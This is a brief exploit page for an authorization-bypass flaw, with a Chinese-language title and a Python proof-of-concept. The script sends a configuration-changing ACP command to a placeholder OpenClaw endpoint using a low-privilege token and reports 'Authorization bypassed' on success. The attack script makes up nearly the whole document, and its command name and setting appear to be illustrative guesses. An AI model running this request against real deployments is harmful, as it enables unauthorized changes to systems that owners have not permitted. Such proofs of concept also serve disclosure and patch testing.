CVE-2026-35631 OpenClaw权限绕过漏洞

import requests # Exploit Title: OpenClaw Missing Authorization PoC # Description: Sends a mutating ACP command without admin scope. target_url = "http://target-host:8080/api/acp/command" # The vulnerable command usually requires operator.admin scope payload = { "command": "internal_acp_modify_config", "args": {"setting": "malicious_value"} } # Attacker uses a low-privilege token headers = { "Authorization": "Bearer <low_privilege_token>", "Content-Type": "application/json" } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Command executed successfully. Authorization bypassed.") else: print("[-] Failed.")